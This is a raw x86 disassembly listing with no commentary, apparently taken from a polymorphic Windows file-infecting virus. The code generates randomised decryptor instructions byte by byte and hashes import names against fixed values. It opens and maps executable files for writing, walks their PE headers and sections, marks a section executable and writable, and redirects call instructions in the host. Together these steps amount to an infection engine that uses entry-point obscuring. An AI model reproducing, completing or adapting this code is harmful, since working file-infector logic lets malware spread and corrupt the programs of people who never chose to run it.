		jnz	loc_60F4C8
		push	esi
		cmp	dword ptr [edx], 0
		jnz	short loc_60F428
		mov	ecx, [edx+10h]
		jmp	short loc_60F42A
; ---------------------------------------------------------------------------


loc_60F428:				; CODE XREF: sub_60F3AB+76j
		mov	ecx, [edx]


loc_60F42A:				; CODE XREF: sub_60F3AB+7Bj
		add	esi, ecx
		push	ecx
		call	sub_60F2A4
		add	esi, dword ptr ss:loc_4039AA[ebp]


loc_60F438:				; CODE XREF: sub_60F3AB+90j
					; sub_60F3AB+117j
		lodsd
		test	eax, eax
		js	short loc_60F438
		jz	loc_60F4C7
		push	dword ptr ss:loc_4039AA[ebp]
		push	eax
		call	sub_60F2A4
		add	eax, dword ptr ss:loc_4039AA[ebp]
		pop	dword ptr ss:loc_4039AA[ebp]
		add	eax, [esp+4+var_4]
		push	ebx
		add	eax, 2
		xor	ebx, ebx


loc_60F464:				; CODE XREF: sub_60F3AB+CEj
		movzx	ecx, byte ptr [eax]
		jecxz	short loc_60F47B
		or	cl, 20h
		push	ebx
		shl	[esp+0Ch+var_C], 4
		sub	[esp+0Ch+var_C], ebx
		sub	[esp+0Ch+var_C], ecx
		pop	ebx
		inc	eax
		jmp	short loc_60F464
; ---------------------------------------------------------------------------


loc_60F47B:				; CODE XREF: sub_60F3AB+BCj
		cmp	ebx, 0DDBBD70Fh
		jz	short loc_60F4C1
		cmp	ebx, 0DB6E45A8h
		jz	short loc_60F4C1
		cmp	ebx, 0FFA13B59h
		jz	short loc_60F4C1
		cmp	ebx, 0ACB522D6h
		jz	short loc_60F4C1
		cmp	ebx, 0F358E993h
		jz	short loc_60F4C1
		cmp	ebx, 0F358E97Dh
		jz	short loc_60F4C1
		cmp	ebx, 0E1253F46h
		jz	short loc_60F4C1
		cmp	ebx, 0E1253F30h
		jz	short loc_60F4C1
		call	dword ptr ss:(loc_403990+2)[ebp]


loc_60F4C1:				; CODE XREF: sub_60F3AB+D6j
					; sub_60F3AB+DEj ...
		pop	ebx
		jmp	loc_60F438
; ---------------------------------------------------------------------------


loc_60F4C7:				; CODE XREF: sub_60F3AB+92j
		pop	esi


loc_60F4C8:				; CODE XREF: sub_60F3AB+60j
					; sub_60F3AB+6Cj
		add	edx, 14h
		jmp	loc_60F3BF
; ---------------------------------------------------------------------------

locret_60F4D0:				; CODE XREF: sub_60F3AB+18j
					; sub_60F3AB+22j
		retn
sub_60F3AB	endp

; ---------------------------------------------------------------------------
		db 2

; =============== S U B	R O U T	I N E =======================================



sub_60F4D2	proc near		; CODE XREF: Themida_:0060F610p
					; Themida_:0060F636p
		push	4
		pop	eax
		call	sub_60EAEF
		mov	ss:byte_4024D1[ebp], dl
		mov	ax, 1831h
		add	ah, dl
		shl	ah, 3
		add	ah, dl
		stosw
		push	6
		pop	eax
		call	sub_60EAEF
		add	edx, 8
		xchg	edx, ecx


loc_60F4FA:				; CODE XREF: sub_60F4D2:loc_60F539j
		push	5
		pop	eax
		call	sub_60EAEF
		cmp	dl, 3
		jnb	short loc_60F512
		mov	al, 50h
		add	al, ss:byte_4024D1[ebp]
		stosb
		jmp	short loc_60F539
; ---------------------------------------------------------------------------


loc_60F512:				; CODE XREF: sub_60F4D2+33j
		push	68h
		pop	eax
		stosb
		cmp	dl, 3
		jnz	short loc_60F533
		mov	al, 11h
		call	sub_60EAEF
		mov	eax, 1


loc_60F527:				; CODE XREF: sub_60F4D2+5Dj
		test	dl, dl
		jz	short loc_60F538
		shl	eax, 1
		dec	dl
		jmp	short loc_60F527
; ---------------------------------------------------------------------------
		jmp	short loc_60F538
; ---------------------------------------------------------------------------


loc_60F533:				; CODE XREF: sub_60F4D2+47j
		mov	eax, 80000000h


loc_60F538:				; CODE XREF: sub_60F4D2+57j
					; sub_60F4D2+5Fj
		stosd


loc_60F539:				; CODE XREF: sub_60F4D2+3Ej
		loop	loc_60F4FA
		retn
sub_60F4D2	endp

; ---------------------------------------------------------------------------


loc_60F53C:				; CODE XREF: sub_60FF96+112p
		lea	edi, dword_40343C[ebp]
		test	ss:dword_403431[ebp], 80000000h
		jz	short loc_60F551
		mov	al, 60h
		stosb


loc_60F551:				; CODE XREF: Themida_:0060F54Cj
		test	ss:dword_403431[ebp], 1000003h
		jz	loc_60F657
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	near ptr 0BDEAA115h
		xchg	eax, esi
		cmp	[eax+0], eax
		mov	al, 0E8h
		stosb
		stosd
		test	ss:dword_403431[ebp], 1000000h
		mov	dword ptr ss:loc_40399A[ebp], edi
		jz	short loc_60F5CF
		test	ss:dword_403431[ebp], 2000000h
		mov	eax, 36FF6467h
		jnz	short loc_60F59A
		mov	eax, 2E8B6467h


loc_60F59A:				; CODE XREF: Themida_:0060F593j
		stosd
		mov	ax, 0
		stosw
		jz	short loc_60F5A6
		mov	al, 5Dh
		stosb


loc_60F5A6:				; CODE XREF: Themida_:0060F5A1j
		test	ss:dword_403431[ebp], 8000000h
		mov	eax, 86D8Dh
		jnz	short loc_60F5CD
		test	ss:dword_403431[ebp], 4000000h
		mov	eax, 8C583h
		jz	short loc_60F5CD
		mov	eax, 0F8ED83h


loc_60F5CD:				; CODE XREF: Themida_:0060F5B5j
					; Themida_:0060F5C6j
		stosd
		dec	edi


loc_60F5CF:				; CODE XREF: Themida_:0060F582j
		test	ss:dword_403431[ebp], 3
		jz	short loc_60F5DF
		mov	al, 0E9h
		stosb
		stosd


loc_60F5DF:				; CODE XREF: Themida_:0060F5D9j
		mov	eax, dword ptr ss:(loc_403995+1)[ebp]
		mov	ecx, edi
		sub	ecx, eax
		mov	[eax-4], ecx
		test	ss:dword_403431[ebp], 3
		jz	short loc_60F657
		mov	eax, 36FF6467h
		mov	dword ptr ss:(loc_40399A+4)[ebp], edi
		stosd
		mov	eax, 64670000h
		stosd
		mov	eax, 2689h
		stosd
		call	sub_60F4D2
		mov	al, 20h
		call	sub_60F2EB
		jecxz	short loc_60F657
		mov	ax, 15FFh
		stosw
		xchg	eax, ecx
		stosd
		mov	edx, ss:dword_403431[ebp]
		not	edx
		test	edx, 3
		jnz	short loc_60F64A
		call	sub_60F4D2
		mov	al, 1Fh
		call	sub_60F2EB
		mov	ax, 15FFh
		stosw
		xchg	eax, ecx
		stosd


loc_60F64A:				; CODE XREF: Themida_:0060F634j
		mov	ecx, edi
		mov	eax, dword ptr ss:(loc_40399A+4)[ebp]
		sub	ecx, eax
		mov	[eax-4], ecx


loc_60F657:				; CODE XREF: Themida_:0060F55Bj
					; Themida_:0060F5F6j ...
		test	ss:dword_403431[ebp], 4
		jz	short loc_60F675
		mov	eax, 0C8FEC029h
		stosd
		mov	eax, 474C008h
		stosd
		mov	eax, 67EBF875h
		stosd


loc_60F675:				; CODE XREF: Themida_:0060F661j
		test	ss:dword_403431[ebp], 8
		jnz	short loc_60F6CB
		cmp	ss:byte_40342F[ebp], 0
		jz	short loc_60F6CB
		mov	eax, 0C9291829h
		or	ah, ss:byte_40342B[ebp]
		shl	ah, 3
		or	ah, ss:byte_40342B[ebp]
		stosd
		mov	al, 0B1h
		stosb
		mov	al, ss:byte_40342F[ebp]
		stosb
		mov	al, 40h
		or	al, ss:byte_40342B[ebp]
		stosb
		mov	ax, 0FDE2h
		test	ss:dword_403431[ebp], 10h
		jz	short loc_60F6C9
		mov	al, 49h
		stosb
		mov	ax, 0FC75h


loc_60F6C9:				; CODE XREF: Themida_:0060F6C0j
		stosw


loc_60F6CB:				; CODE XREF: Themida_:0060F67Fj
					; Themida_:0060F688j
		mov	al, 0E8h
		stosb
		xor	eax, eax
		stosd
		mov	dword ptr ss:(loc_403980+2)[ebp], edi
		test	ss:dword_403431[ebp], 20h
		jnz	short loc_60F6EC
		mov	al, 58h
		or	al, ss:byte_403429[ebp]
		stosb


loc_60F6EC:				; CODE XREF: Themida_:0060F6E1j
		mov	ax, 0C081h
		test	ss:dword_403431[ebp], 40h
		jz	short loc_60F6FF
		add	ah, 28h


loc_60F6FF:				; CODE XREF: Themida_:0060F6FAj
		or	ah, ss:byte_403429[ebp]
		stosw
		mov	dword ptr ss:(loc_403985+1)[ebp], edi
		stosd
		test	ss:dword_403431[ebp], 40000000h
		jnz	short loc_60F723
		mov	al, 50h
		add	al, ss:byte_403429[ebp]
		stosb


loc_60F723:				; CODE XREF: Themida_:0060F718j
		test	ss:dword_403431[ebp], 80h
		jnz	short loc_60F73A
		mov	al, 0B8h
		or	al, ss:byte_40342A[ebp]
		stosb
		jmp	short loc_60F777
; ---------------------------------------------------------------------------


loc_60F73A:				; CODE XREF: Themida_:0060F72Dj
		mov	ax, 1831h
		test	ss:dword_403431[ebp], 100h
		jz	short loc_60F74C
		mov	al, 29h


loc_60F74C:				; CODE XREF: Themida_:0060F748j
		or	ah, ss:byte_40342A[ebp]
		shl	ah, 3
		or	ah, ss:byte_40342A[ebp]
		stosw
		mov	ax, 0F081h
		test	ss:dword_403431[ebp], 200h
		jnz	short loc_60F76F
		mov	ah, 0C8h


loc_60F76F:				; CODE XREF: Themida_:0060F76Bj
		or	ah, ss:byte_40342A[ebp]
		stosw


loc_60F777:				; CODE XREF: Themida_:0060F738j
		mov	dword ptr ss:(loc_4039A0+2)[ebp], edi
		mov	eax, 243Ch
		stosd
		test	ss:dword_403431[ebp], 8
		jz	short loc_60F7FB
		test	ss:dword_403431[ebp], 400h
		jnz	short loc_60F7A6
		mov	al, 0B8h
		or	al, ss:byte_40342B[ebp]
		stosb
		jmp	short loc_60F7F3
; ---------------------------------------------------------------------------


loc_60F7A6:				; CODE XREF: Themida_:0060F799j
		test	ss:dword_403431[ebp], 800h
		jnz	short loc_60F7C3
		mov	ax, 0E083h
		or	ah, ss:byte_40342B[ebp]
		stosw
		xor	eax, eax
		stosb
		jmp	short loc_60F7D8
; ---------------------------------------------------------------------------


loc_60F7C3:				; CODE XREF: Themida_:0060F7B0j
		mov	ax, 1829h
		or	ah, ss:byte_40342B[ebp]
		shl	ah, 3
		or	ah, ss:byte_40342B[ebp]
		stosw


loc_60F7D8:				; CODE XREF: Themida_:0060F7C1j
		test	ss:dword_403431[ebp], 1000h
		mov	ax, 0C081h
		jz	short loc_60F7EB
		add	ah, 8


loc_60F7EB:				; CODE XREF: Themida_:0060F7E6j
		or	ah, ss:byte_40342B[ebp]
		stosw


loc_60F7F3:				; CODE XREF: Themida_:0060F7A4j
		movzx	eax, ss:byte_40342F[ebp]
		stosd


loc_60F7FB:				; CODE XREF: Themida_:0060F78Dj
		test	ss:dword_403431[ebp], 40000000h
		jz	short loc_60F810
		mov	al, 50h
		add	al, ss:byte_403429[ebp]
		stosb


loc_60F810:				; CODE XREF: Themida_:0060F805j
		test	ss:dword_403431[ebp], 2000h
		mov	al, 86h
		jnz	short loc_60F820
		add	al, 4


loc_60F820:				; CODE XREF: Themida_:0060F81Cj
		lea	ecx, [edi-2]
		mov	ah, ss:byte_403429[ebp]
		mov	dword ptr ss:loc_40398A[ebp], ecx
		stosw
		cmp	ah, 5
		jnz	short loc_60F83D
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_60F83D:				; CODE XREF: Themida_:0060F834j
		test	ss:dword_403431[ebp], 4000h
		mov	ax, 3166h
		jnz	short loc_60F84F
		mov	ah, 29h


loc_60F84F:				; CODE XREF: Themida_:0060F84Bj
		stosw
		mov	al, 18h
		or	al, ss:byte_40342B[ebp]
		shl	al, 3
		stosb
		mov	al, 88h
		test	ss:dword_403431[ebp], 8000h
		jnz	short loc_60F86D
		mov	al, 86h


loc_60F86D:				; CODE XREF: Themida_:0060F869j
		mov	ah, ss:byte_403429[ebp]
		stosw
		cmp	ah, 5
		jnz	short loc_60F881
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_60F881:				; CODE XREF: Themida_:0060F878j
		test	ss:dword_403431[ebp], 10000h
		jnz	short loc_60F898
		mov	al, 40h
		or	al, ss:byte_403429[ebp]
		stosb
		jmp	short loc_60F8A7
; ---------------------------------------------------------------------------


loc_60F898:				; CODE XREF: Themida_:0060F88Bj
		mov	ax, 0C083h
		or	ah, ss:byte_403429[ebp]
		stosw
		mov	al, 1
		stosb


loc_60F8A7:				; CODE XREF: Themida_:0060F896j
		test	ss:dword_403431[ebp], 20000h
		jnz	short loc_60F8E2
		test	ss:dword_403431[ebp], 40000h
		jnz	short loc_60F8D9
		mov	al, 0C0h
		or	al, ss:byte_40342B[ebp]
		mov	ah, ss:byte_403430[ebp]
		shl	eax, 10h
		mov	ax, 8166h
		stosd
		mov	al, 0
		jmp	short loc_60F8E1
; ---------------------------------------------------------------------------


loc_60F8D9:				; CODE XREF: Themida_:0060F8BDj
		mov	al, 40h
		or	al, ss:byte_40342B[ebp]


loc_60F8E1:				; CODE XREF: Themida_:0060F8D7j
		stosb


loc_60F8E2:				; CODE XREF: Themida_:0060F8B1j
		test	ss:dword_403431[ebp], 80000h
		jnz	short loc_60F8FE
		mov	ax, 0E883h
		or	ah, ss:byte_40342A[ebp]
		stosw
		mov	al, 1
		jmp	short loc_60F906
; ---------------------------------------------------------------------------


loc_60F8FE:				; CODE XREF: Themida_:0060F8ECj
		mov	al, 48h
		or	al, ss:byte_40342A[ebp]


loc_60F906:				; CODE XREF: Themida_:0060F8FCj
		stosb
		test	ss:dword_403431[ebp], 100000h
		mov	cl, 75h
		jnz	short loc_60F93A
		mov	ax, 0F883h
		or	ah, ss:byte_40342A[ebp]
		stosw
		xor	eax, eax
		stosb
		sub	dword ptr ss:loc_40398A[ebp], edi
		test	ss:dword_403431[ebp], 200000h
		jnz	short loc_60F955
		mov	cl, 77h
		jmp	short loc_60F955
; ---------------------------------------------------------------------------


loc_60F93A:				; CODE XREF: Themida_:0060F913j
		mov	ax, 1809h
		or	ah, ss:byte_40342A[ebp]
		shl	ah, 3
		or	ah, ss:byte_40342A[ebp]
		stosw
		sub	dword ptr ss:loc_40398A[ebp], edi


loc_60F955:				; CODE XREF: Themida_:0060F934j
					; Themida_:0060F938j
		mov	al, cl
		mov	ah, byte ptr ss:loc_40398A[ebp]
		stosw
		mov	al, 58h
		add	al, ss:byte_403429[ebp]
		stosb
		test	ss:dword_403431[ebp], 1000003h
		jz	loc_60F9FF
		mov	eax, 268B6467h
		mov	ecx, ss:dword_403431[ebp]
		xor	ecx, 2000000h
		test	ecx, 3000000h
		jnz	short loc_60F996
		mov	eax, 2E876467h


loc_60F996:				; CODE XREF: Themida_:0060F98Fj
		stosd
		mov	eax, 0
		stosw
		jnz	short loc_60F9A6
		mov	ax, 0E58Bh
		stosw


loc_60F9A6:				; CODE XREF: Themida_:0060F99Ej
		mov	eax, 68F6764h
		stosd
		xor	eax, eax
		stosw
		test	ss:dword_403431[ebp], 1000000h
		jnz	short loc_60F9FC
		test	ss:dword_403431[ebp], 8000000h
		jz	short loc_60F9EE
		mov	ax, 6C8Dh
		test	ss:dword_403431[ebp], 2000000h
		setnz	cl
		or	ah, cl
		stosw
		test	cl, cl
		jnz	short loc_60F9E9
		mov	ax, 424h
		stosw
		jmp	short loc_60F9FC
; ---------------------------------------------------------------------------


loc_60F9E9:				; CODE XREF: Themida_:0060F9DFj
		mov	al, 8
		stosb
		jmp	short loc_60F9FC
; ---------------------------------------------------------------------------


loc_60F9EE:				; CODE XREF: Themida_:0060F9C6j
		mov	ax, 5D58h
		add	al, ss:byte_40342B[ebp]
		stosw
		jmp	short loc_60F9FF
; ---------------------------------------------------------------------------


loc_60F9FC:				; CODE XREF: Themida_:0060F9BAj
					; Themida_:0060F9E7j ...
		mov	al, 0C9h
		stosb


loc_60F9FF:				; CODE XREF: Themida_:0060F972j
					; Themida_:0060F9FAj
		test	ss:dword_403431[ebp], 80000000h
		jz	short loc_60FA2B
		mov	al, 7
		sub	al, ss:byte_403429[ebp]
		shl	eax, 1Ah
		or	eax, 240889h
		add	ah, ss:byte_403429[ebp]
		shl	ah, 3
		add	ah, 4
		stosd
		mov	al, 61h
		stosb


loc_60FA2B:				; CODE XREF: Themida_:0060FA09j
		mov	ax, 0E0FFh
		or	ah, ss:byte_403429[ebp]
		stosw
		test	ss:dword_403431[ebp], 20h
		jz	short loc_60FA96
		test	ss:dword_403431[ebp], 20000000h
		jz	short loc_60FA5C


loc_60FA4F:				; CODE XREF: Themida_:0060FA5Aj
		test	edi, 3
		jz	short loc_60FA5C
		mov	al, 90h
		stosb
		jmp	short loc_60FA4F
; ---------------------------------------------------------------------------


loc_60FA5C:				; CODE XREF: Themida_:0060FA4Dj
					; Themida_:0060FA55j
		mov	eax, edi
		mov	ecx, dword ptr ss:(loc_403980+2)[ebp]
		sub	eax, ecx
		mov	[ecx-4], eax
		mov	al, 58h
		or	al, ss:byte_403429[ebp]
		stosb
		test	ss:dword_403431[ebp], 400000h
		jz	short loc_60FA8A
		mov	ax, 0C350h
		or	al, ss:byte_403429[ebp]
		jmp	short loc_60FA94
; ---------------------------------------------------------------------------


loc_60FA8A:				; CODE XREF: Themida_:0060FA7Cj
		mov	ax, 0E0FFh
		or	ah, ss:byte_403429[ebp]


loc_60FA94:				; CODE XREF: Themida_:0060FA88j
		stosw


loc_60FA96:				; CODE XREF: Themida_:0060FA41j
		test	ss:dword_403431[ebp], 1000003h
		jz	short loc_60FB15
		test	ss:dword_403431[ebp], 20000000h
		jz	short loc_60FABB


loc_60FAAE:				; CODE XREF: Themida_:0060FAB9j
		test	edi, 3
		jz	short loc_60FABB
		mov	al, 90h
		stosb
		jmp	short loc_60FAAE
; ---------------------------------------------------------------------------


loc_60FABB:				; CODE XREF: Themida_:0060FAACj
					; Themida_:0060FAB4j
		mov	ecx, edi
		mov	eax, dword ptr ss:loc_40399A[ebp]
		sub	ecx, eax
		mov	[eax-4], ecx
		xor	ecx, ecx
		test	ss:dword_403431[ebp], 800000h
		jnz	short loc_60FAE4
		lea	eax, byte_403429[ebp]


loc_60FADC:				; CODE XREF: Themida_:0060FAE2j
		mov	cl, [eax]
		inc	eax
		cmp	cl, 3
		jnb	short loc_60FADC


loc_60FAE4:				; CODE XREF: Themida_:0060FAD4j
		lea	eax, ds:102444h[ecx*8]
		shl	eax, 8
		mov	al, 8Bh
		stosd
		jecxz	short loc_60FAF9
		mov	ax, 0C031h
		stosw


loc_60FAF9:				; CODE XREF: Themida_:0060FAF1j
		mov	ax, 808Fh
		push	0B8h
		add	ah, cl
		stosw
		pop	eax
		stosd
		test	ecx, ecx
		jnz	short loc_60FB12
		mov	ax, 0C031h
		stosw


loc_60FB12:				; CODE XREF: Themida_:0060FB0Aj
		mov	al, 0C3h
		stosb


loc_60FB15:				; CODE XREF: Themida_:0060FAA0j
		lea	eax, dword_40343C[ebp]
		test	ss:dword_403431[ebp], 10000000h
		jnz	short loc_60FB2D
		push	edi
		sub	edi, eax
		pop	eax
		jmp	short loc_60FB46
; ---------------------------------------------------------------------------


loc_60FB2D:				; CODE XREF: Themida_:0060FB25j
		mov	edx, [ebx+28h]
		sub	edi, eax
		sub	edx, eax
		mov	ecx, dword ptr ss:(loc_4039A0+2)[ebp]
		add	dword ptr ss:(loc_403980+2)[ebp], edx
		add	[ecx], edi
		mov	eax, [esp+4]


loc_60FB46:				; CODE XREF: Themida_:0060FB2Bj
		mov	dword ptr ss:(sub_401069+4)[ebp], edi
		mov	edi, dword ptr ss:(loc_403985+1)[ebp]
		sub	eax, dword ptr ss:(loc_403980+2)[ebp]
		test	ss:dword_403431[ebp], 40h
		jz	short loc_60FB66
		neg	eax


loc_60FB66:				; CODE XREF: Themida_:0060FB62j
		stosd
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_60FB6A	proc near		; CODE XREF: sub_60FF96+2A8p
		push	esi
		push	edi
		cmp	dword ptr [ebp+4039AEh], 0
		jz	loc_60FD52
		call	near ptr loc_60FB8A+1
		dec	ebx
		inc	ebp
		push	edx
		dec	esi
		inc	ebp
		dec	esp
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_60FB8A:				; CODE XREF: sub_60FB6A+Fp
		add	bh, bh
sub_60FB6A	endp ; sp-analysis failed

		xchg	eax, ebp
		mov	ds:85890040h, dh
		mov	esi, 53004039h
		mov	ebx, [eax+3Ch]
		add	ebx, eax
		push	dword ptr [ebx+28h]
		mov	eax, [ebx+34h]
		call	sub_60F2A4
		mov	edx, [ebp+4039A6h]
		pop	ebx
		add	eax, [edx+0Ch]
		mov	[ebp+4039C2h], eax
		add	eax, [edx+8]
		mov	[ebp+4039C6h], eax
		mov	esi, [ebx+28h]
		push	dword ptr [ebx+80h]
		call	sub_60F2A4
		mov	edi, [ebp+4039A6h]
		push	esi
		call	sub_60F2A4
		mov	edx, [ebp+4039A6h]
		mov	ecx, [edx+8]
		add	ecx, [edx+0Ch]
		sub	ecx, esi
		sub	ecx, 5
		js	loc_60FD52
		jz	loc_60FD52
		add	esi, dword ptr ss:loc_4039AA[ebp]
		add	esi, [ebp+403972h]
; START	OF FUNCTION CHUNK FOR sub_60FD23


loc_60FC04:				; CODE XREF: sub_60FD23+29j
		lodsb
		cmp	al, 0E8h
		jnz	loc_60FCAF
		lea	eax, [esi+4]
		sub	eax, [ebp+403972h]
		add	eax, [esi]
		push	eax
		call	sub_60F2A4
		cmp	dword ptr [ebp+4039A6h], 0
		jnz	short loc_60FC32
		cmp	eax, [edi+0Ch]
		jnb	loc_60FD4B
		jmp	short loc_60FC3E
; ---------------------------------------------------------------------------


loc_60FC32:				; CODE XREF: sub_60FD23-FEj
		cmp	[ebp+4039A6h], edx
		jnz	loc_60FD4B


loc_60FC3E:				; CODE XREF: sub_60FD23-F3j
		add	eax, [ebp+403972h]
		cmp	word ptr [eax],	25FFh
		jnz	loc_60FD4B
		mov	eax, [eax+2]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_60F2A4
		cmp	[ebp+4039A6h], edi
		jnz	loc_60FD4B
		add	eax, dword ptr ss:loc_4039AA[ebp]
		add	eax, [ebp+403972h]
		mov	eax, [eax]
		sub	eax, [edi+0Ch]
		jb	loc_60FD4B
		cmp	eax, [edi+8]
		jnb	loc_60FD4B


loc_60FC87:				; CODE XREF: sub_60FD23+22j
		add	eax, 2
		add	eax, [edi+14h]
		add	eax, [ebp+403972h]
		push	edx
		push	eax
		push	dword ptr [ebp+4039BEh]
		call	dword ptr [ebp+403548h]
		pop	edx
		test	eax, eax
		jnz	loc_60FD61
		jmp	loc_60FD4B
; ---------------------------------------------------------------------------


loc_60FCAF:				; CODE XREF: sub_60FD23-11Cj
		cmp	al, 0FFh
		jnz	loc_60FD4B
		cmp	byte ptr [esi],	15h
		jnz	loc_60FD4B
		mov	eax, [esi+1]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_60F2A4
		cmp	[ebp+4039A6h], edi
		jnz	short loc_60FD4B
		add	eax, dword ptr ss:loc_4039AA[ebp]
		add	eax, [ebp+403972h]
		mov	dword ptr ss:loc_4039CA[ebp], eax
		mov	eax, [eax]
		cmp	eax, [ebp+4039C2h]
		jb	short loc_60FCF8
		cmp	eax, [ebp+4039C6h]
		jb	short loc_60FD61


loc_60FCF8:				; CODE XREF: sub_60FD23-35j
		cmp	eax, 70000000h
		jb	short loc_60FD36
		call	sub_60FD23
		lea	ecx, [esi-4]
		mov	eax, ecx
		sub	eax, [edx]
		add	eax, [edx+10h]
		cmp	eax, dword ptr ss:loc_4039CA[ebp]
		jnz	short locret_60FD22
		add	esp, 10h
		push	dword ptr [ecx]
		pop	[esp-0Ch+arg_24]
		popa
		jmp	short loc_60FD3D
; ---------------------------------------------------------------------------

locret_60FD22:				; CODE XREF: sub_60FD23-Fj
		retn
; END OF FUNCTION CHUNK	FOR sub_60FD23

; =============== S U B	R O U T	I N E =======================================



sub_60FD23	proc near		; CODE XREF: sub_60FD23-24p

var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_24		= dword	ptr  28h

; FUNCTION CHUNK AT 0060FC04 SIZE 0000011F BYTES

		pop	dword ptr [ebp+403992h]
		pusha
		mov	esi, [ebp+403972h]
		call	sub_60F3AB
		popa


loc_60FD36:				; CODE XREF: sub_60FD23-26j
		test	eax, 80000000h
		jnz	short loc_60FD4B


loc_60FD3D:				; CODE XREF: sub_60FD23-3j
		sub	eax, [edi+0Ch]
		jb	short loc_60FD4B
		cmp	eax, [edi+8]
		jb	loc_60FC87


loc_60FD4B:				; CODE XREF: sub_60FD23-F9j
					; sub_60FD23-EBj ...
		dec	ecx
		jnz	loc_60FC04


loc_60FD52:				; CODE XREF: sub_60FB6A+9j
					; Themida_:0060FBECj ...
		mov	edi, [esp-4+arg_0]
		and	dword ptr [edi+2431h], 7FFFFFFFh
		jmp	short loc_60FD9D
; ---------------------------------------------------------------------------


loc_60FD61:				; CODE XREF: sub_60FD23-7Fj
					; sub_60FD23-2Dj
		or	dword ptr [edx+24h], 0E0000060h
		dec	esi
		xor	eax, eax
		mov	ecx, [esp+8+var_8]
		xchg	eax, [ebp+4039AEh]
		lea	edi, [ecx+2435h]
		add	eax, [ebp+403972h]
		movsw
		movsd
		dec	esi
		sub	eax, esi
		add	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	byte ptr [esi-5], 0E8h
		mov	dword ptr [ecx+52h], 5
		mov	[esi-4], eax


loc_60FD9D:				; CODE XREF: sub_60FD23+3Cj
		pop	edi
		pop	esi
		retn
sub_60FD23	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60FDA0	proc near		; CODE XREF: Themida_:0060FF6Ep
					; sub_60FF96+127p
		lea	esi, [ebp+40384Eh]
		push	esi
		call	dword ptr [ebp+40357Ch]
		cmp	eax, 0FFFFFFFFh
		jz	locret_60FE71
		mov	[ebp+403952h], eax
		push	0
		push	esi
		call	dword ptr [ebp+4035B4h]
		test	eax, eax
		jz	locret_60FE71
		sub	eax, eax
		push	eax
		push	eax
		push	3
		push	eax
		push	1
		push	0C0000000h
		push	esi
		call	dword ptr [ebp+40355Ch]
		cmp	eax, 0FFFFFFFFh
		jz	loc_610329
		mov	[ebp+403956h], eax
		lea	ecx, loc_40395A[ebp]
		lea	edx, [ebp+403962h]
		push	ecx
		push	edx
		push	0
		push	eax
		call	dword ptr [ebp+403584h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_61031D
		push	0
		push	dword ptr [ebp+403956h]
		call	dword ptr [ebp+403580h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_61031D
		mov	dword ptr ss:loc_40396A[ebp], eax
		xor	ecx, ecx
		add	eax, ebx
		push	ecx
		push	eax
		push	ecx
		push	4
		push	ecx
		push	dword ptr [ebp+403956h]
		call	dword ptr [ebp+403560h]
		test	eax, eax
		jz	loc_61031D
		xor	ecx, ecx
		mov	[ebp+40396Eh], eax
		push	ecx
		push	ecx
		push	ecx
		push	0F001Fh
		push	eax
		call	dword ptr ss:loc_4035A0[ebp]
		test	eax, eax
		jz	loc_6102F5
		mov	[ebp+403972h], eax

locret_60FE71:				; CODE XREF: sub_60FDA0+10j
					; sub_60FDA0+27j ...
		retn
sub_60FDA0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60FE72	proc near		; CODE XREF: sub_60FF96+117p
					; sub_60FF96+223p
		mov	eax, 69CDh
		mov	ecx, [ebx+38h]
		test	ss:dword_403431[ebp], 10000000h
		jnz	short loc_60FE8C
		add	eax, [ebp+40106Dh]


loc_60FE8C:				; CODE XREF: sub_60FE72+12j
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	dword ptr ss:loc_40397A[ebp], eax
		mov	eax, 243Bh
		mov	ecx, [ebx+3Ch]
		add	eax, [ebp+40106Dh]
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	[ebp+403976h], eax
		retn
sub_60FE72	endp


; =============== S U B	R O U T	I N E =======================================



sub_60FEB7	proc near		; CODE XREF: sub_60FF96:loc_60FFE5p
					; sub_60FF96+13Dp
		movzx	ecx, word ptr [ebx+6]
		stc


loc_60FEBC:				; CODE XREF: sub_60FEB7+23j
		jecxz	short locret_60FEF3
		lea	edx, [ebx+18h]
		movzx	eax, word ptr [ebx+14h]
		add	edx, eax
		dec	ecx
		imul	eax, ecx, 28h
		add	edx, eax
		cmp	dword ptr [edx], 6E69775Fh
		stc
		jz	short locret_60FEF3
		cmp	dword ptr [edx+0Ch], 1
		jb	short loc_60FEBC
		mov	ecx, [ebx+3Ch]
		mov	eax, [edx+14h]
		add	eax, [edx+10h]
		lea	eax, [eax+ecx*2-1]
		neg	ecx
		and	eax, ecx
		cmp	eax, dword ptr ss:loc_40396A[ebp]

locret_60FEF3:				; CODE XREF: sub_60FEB7:loc_60FEBCj
					; sub_60FEB7+1Dj ...
		retn
sub_60FEB7	endp


; =============== S U B	R O U T	I N E =======================================



sub_60FEF4	proc near		; CODE XREF: Themida_:0060FF80p

arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [edx+0B8h]
		retn
sub_60FEF4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_60FF01:				; CODE XREF: Themida_:0060FF22j
		mov	ecx, edi
		jmp	short loc_60FF10
; ---------------------------------------------------------------------------
		lea	edi, [ebp+40384Eh]
		cld


loc_60FF0C:				; CODE XREF: Themida_:0060FF1Ej
		mov	ebx, edi
		xor	ecx, ecx


loc_60FF10:				; CODE XREF: Themida_:0060FF03j
					; Themida_:0060FF26j
		lodsb
		cmp	al, 61h
		jb	short loc_60FF1B
		cmp	al, 7Ah
		ja	short loc_60FF1B
		sub	al, 20h


loc_60FF1B:				; CODE XREF: Themida_:0060FF13j
					; Themida_:0060FF17j
		stosb
		cmp	al, 5Ch
		jz	short loc_60FF0C
		cmp	al, 2Eh
		jz	short loc_60FF01
